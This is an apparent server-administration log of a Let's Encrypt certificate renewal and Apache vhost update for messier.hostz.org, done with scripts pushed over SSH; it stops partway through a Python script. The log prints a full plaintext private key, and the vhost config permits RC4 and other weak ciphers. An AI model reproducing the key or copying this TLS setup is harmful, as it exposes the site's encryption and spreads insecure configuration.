MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-07 16:47:41: Establishing a connection
2026-06-07 16:47:42: Establishing a connection
2026-06-07 16:47:44: 

PUT: /tmp/pkp903305

#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-07 16:47:45: 

chmod 755 /tmp/pkp903305; /tmp/pkp903305; rm /tmp/pkp903305

2026-06-07 16:47:45: 


1


2026-06-07 16:47:46: Establishing a connection
2026-06-07 16:47:47: 

PUT: /tmp/pkp597357

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > lH9W5WDIhtynJij4XEDaHo1cAiDQBW_78qSFPayG-4A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lH9W5WDIhtynJij4XEDaHo1cAiDQBW_78qSFPayG-4A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lH9W5WDIhtynJij4XEDaHo1cAiDQBW_78qSFPayG-4A


2026-06-07 16:47:48: 

chmod 755 /tmp/pkp597357; /tmp/pkp597357; rm /tmp/pkp597357

2026-06-07 16:47:49: 




2026-06-07 16:47:53: Establishing a connection
2026-06-07 16:47:54: 

PUT: /tmp/pkp740249

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm lH9W5WDIhtynJij4XEDaHo1cAiDQBW_78qSFPayG-4A


2026-06-07 16:47:55: 

chmod 755 /tmp/pkp740249; /tmp/pkp740249; rm /tmp/pkp740249

2026-06-07 16:47:56: 




2026-06-07 16:47:56: Establishing a connection
2026-06-07 16:47:57: 

PUT: /tmp/pkp263223

#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt

cat > $temp_file <<'endmsg'
c8:14:74:a1:18:02:7f:34:6e:fa:40:2a:ae:03:13:58

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBnwv1p55J9FlYOyWReSDTBCqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA3MTU0OTIyWhcNMjYwOTA1MTU0OTIxWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAO36BQ7lTlL62/2VSA1myHPKst5KseLsqhq0l0jjlhKsa0dAeCXKted0TgAn
SFsoUMndxTe3bnxOmM73Z4X1CqivHbA+0uzs1Bi1cFDNV0gjZBMI/71vETbFS7za
q/qaTCK+oMa0SG7sgAJdUtBzAFRZgBBVFPIzYE7e3AzcFiG5PNFwO6A0I52bzfV/
Z5JW+16DZBNpvZDERv68+K/BavYbOmNk/R0ujGqTiS9U36IndF3HrAxkMKzQnlF5
5IUbo+erFBcZ2Mg0k08E7Dv2bI54pAKNIi7UO2UB4El+bnRHufYuC4KDwTjhyNQF
f95fqzysf8KJhxOwNuJbTH25DE0CAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR3
qv8kavyJvWqodyu6ta/j6v+CeDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lc3NpZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5j
ci5vcmcvNDMuY3JsMIIBCgYKKwYBBAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGeovvQIAAABAMARjBEAiAzaAKDnd9H
y7Ez92aCbF594hFmQ1dE3pG1xUSoPiAZkwIgFuelelikbUMzRT5kPE7xd0v7qJHn
tdM+XhIw7CuAbqQAfQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAA
AZ6i+9JyAAgAAAUADl/55QQDAEYwRAIgV4McxdlEpRz30S61NhqvZ84GvTiVLfWw
W0SYzmuq/FECIDDOooSIyHrZA+GOru0+c5q3gr/MYrT9OdcL2aZtcCAzMA0GCSqG
SIb3DQEBCwUAA4IBAQClmZOZ2GMCzHkr21flKQRtS01t3MwmG/cg2KEwfotZv2YF
f0HDK0ahjvJwh4zf5X56Wu9wSGVS592HPqFDY6BgFY4bo0F4OqYbVY2KW7NgYGen
lECt2VDKA2QLgZfXfahJqn5PUOLZS7fL0dMQLuaEW63fSfouM7oqWHtyX3gEYdtK
VwA+euKuOTP1Ozip6H9k0+SBzWdw4gWeYSW5kBLegvwnlhl2vMkyNEfP+jyk2S4i
a2pdIkHfYcr0D7jm/lVGCGrW6q8mMxBfGjpk0lY560Pm1/Y67HUtqa1lbcNRa6Fn
rSDzjRSpMMZj8O3BprwRHjpeF8tImp5c6CRUU4pk
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDt+gUO5U5S+tv9
lUgNZshzyrLeSrHi7KoatJdI45YSrGtHQHglyrXndE4AJ0hbKFDJ3cU3t258TpjO
92eF9Qqorx2wPtLs7NQYtXBQzVdII2QTCP+9bxE2xUu82qv6mkwivqDGtEhu7IAC
XVLQcwBUWYAQVRTyM2BO3twM3BYhuTzRcDugNCOdm831f2eSVvteg2QTab2QxEb+
vPivwWr2GzpjZP0dLoxqk4kvVN+iJ3Rdx6wMZDCs0J5ReeSFG6PnqxQXGdjINJNP
BOw79myOeKQCjSIu1DtlAeBJfm50R7n2LguCg8E44cjUBX/eX6s8rH/CiYcTsDbi
W0x9uQxNAgMBAAECggEABBfaf1eNu6JqzpAW6fGieyjqwcLRSuvpUvIc2xuheLc2
y57KQQTEpIILw5BL3nWFD3FYTCEwpDpnsxA9ZUpzYUCbrB4SW5umly9wWWwOvpK+
fg/JGf4ZXxUulRQ4P4HVIgbu5LI0NffoA7/ve/Jebp7TeJvULmbnNGVP/Iu3AqjV
kgCP3xhhPiPiHLqgIhkUr5mqFxjXYfsJZOC/R6R4kVvstrpUSHYgLyCYkUpE3Mik
kLRxDVmKmDozpCfuC06TUwBlJuliCioTazccQCKiEq21WcpM2cNmeW841II0CWz4
KHNFI+tL+HYzYRnn+HTcMGuOc5KD+K7XyJ0IvFFrAQKBgQD9Iw7tR3bMjmZ7tU57
b6CvgaXyJ/NqHq0EHYAacWAnrV5YrNLqUqJ3v9Umkcg2pKS2EwN5unO+3QW+HzRE
s/O3Rg4vKwKCi/27zsQasSkMBDjUkiaeojNm/006m3nXWbclYEbvT6qRAhtQ064V
D2F4LcmFLP9aLPWwjY2Em22XbQKBgQDwqxDVrKQ/Lr9PG19M9nKmjNgragKjTgsI
5mlhP09cca37I/kf0ZT7wA3fGE+NOBOTHZImGpDCMIh8bvQ9fx4aUra/1ZvJAjlH
A29N4z4ULetj8KMOzYX6L8sfeCbG2F701dTuDaTFAVljuGyOgQeOacBmkdOC/7wh
evJM57XcYQKBgQCHRsgAV9ON53+vFqo1XudBQ4i6S01S5cfSTi2adAJN0eF8hAdH
ABgg5Jx1Oy0CvqPjRW/zCog2dIlQG/7jxEM3KzIDVPnHaCaVyh6UoR5tdIgmWWBY
IBhWL5NHAbVwN1qfl77wvuNJERYl8Km0SX7uKZHrIKvpteMqkcsSFbnQVQKBgGr+
om1cY2jzj3nL4YKFzlLdKv2iE6omeCFszky9qLqgj4inZYoP0vxZVdFpLXTLCWjO
LLtj9BdhHEy1xz/P08JAI58FiEzFAFHh5QnrjR3LjGrSAKwEExw3Q0aqVBLy/sQ6
jH+I8UfkYalDxH9WPdXCjhcLnc0PhMQdtLscCG4BAoGAdy2WkotKjb9t8Li8CThJ
IPqa845bfFJ3gmk5jmD3Ek8oBmUUXmohXIJjshyi95cPnlZ+VJQ9yB1vbFVa9EeD
KuDMaGLqU5KDhsiJJZLu4G922s7PkzfPM79XjAzxQNc+gDGNw0Jm6VEGTQ0baRXF
oFA2bRzBN0Y60BRN36fGX2g=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-07 16:47:58: 

chmod 755 /tmp/pkp263223; /tmp/pkp263223; rm /tmp/pkp263223

2026-06-07 16:47:58: 


dir=/etc/pki/tls/certs/


2026-06-07 16:47:58: 

PUT: /tmp/pkp213725

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_messier.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-07 16:47:59: 

chmod 755 /tmp/pkp213725; /tmp/pkp213725; rm /tmp/pkp213725

2026-06-07 16:47:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-07 16:47:59: 

PUT: /tmp/pkp470584

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi


2026-06-07 16:47:59: 

chmod 755 /tmp/pkp470584; /tmp/pkp470584; rm /tmp/pkp470584

2026-06-07 16:48:00: 




2026-06-07 16:48:00: 

PUT: /tmp/pkp153425

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-07 16:48:00: 

chmod 755 /tmp/pkp153425; /tmp/pkp153425; rm /tmp/pkp153425

2026-06-07 16:48:01: 


.


2026-06-07 16:48:01: Establishing a connection
2026-06-07 16:48:02: 

PUT: /tmp/pkp579246

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-07 16:48:03: 

chmod 755 /tmp/pkp579246; /tmp/pkp579246; rm /tmp/pkp579246

2026-06-07 16:48:03: 


[Sun Jun 07 16:48:03.529107 2026] [so:warn] [pid 3635791:tid 139802468428096] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Sun Jun 07 16:48:03.529107 2026] [so:warn] [pid 3635791:tid 139802468428096] AH01574: module status_module is already loaded, skipping


2026-06-07 16:48:03: 

PUT: /tmp/pkp776816

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
